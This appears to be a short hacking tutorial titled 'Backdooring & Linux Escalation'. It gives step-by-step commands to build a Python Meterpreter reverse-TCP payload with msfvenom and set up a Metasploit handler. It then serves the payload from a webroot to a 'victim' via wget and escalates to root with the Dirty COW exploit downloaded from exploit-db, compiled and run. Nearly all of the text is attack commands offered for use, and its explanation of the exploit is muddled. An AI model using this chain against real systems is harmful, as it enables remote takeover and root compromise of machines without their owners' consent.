BACKDOORING & LINUX ESCALATION
Do this :-
1] msfvenom -p python/meterpreter/reverse_tcp -f raw \ --platform python -a python -e generic/none LHOST=someip LPORT=someport \ >'somedir/filename.py'
2] -p payload
-f fileformat
-e encoder
> raw output
3] Writing resource file
touch python_
Now copy and paste these commands
cat >>python_
use multi/handler
set payload python/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
set ExitOnSession false
exploit -j
4] msfconsole -q (quite) -x to (execute command exec)
loading resource file to start multi/handler
msfconsole -q -r python_
5] now move python.py payload to webroot dir
mv python.py /var/www/html/
sending payload to victim using wget
wget http://ip/python.py
spawing python shell
Now local root privilege exploit dirtyc0w comes in picture
what is dirtyc0w ?
dirtyc0w is local root exploit
how does dirtyc0w work ?
dirtc0w backdoors /etc/passwd file to gain root access on target
and overwrites itself to kernels memory
6] before running any exploits recon is very important
so we verify -- / kernel info / os version / codename / --
uname --all
7] cat /etc/*release
download the exploit here
Code:-
wget https://exploit-db/download/40616.c
now compiling the source
Code:-
gcc 40616.c -o dirtyc0w -pthread
now upload the compiled binary to target
upload dirtyc0w [using meterpreter]
and execute the programm
./dirtyc0w
Brought To You By The DeepNet ðŸŽ
Thank you for your trust and support ❤️
Follow us on Instagram | Facebook | Twitter
image quote pre code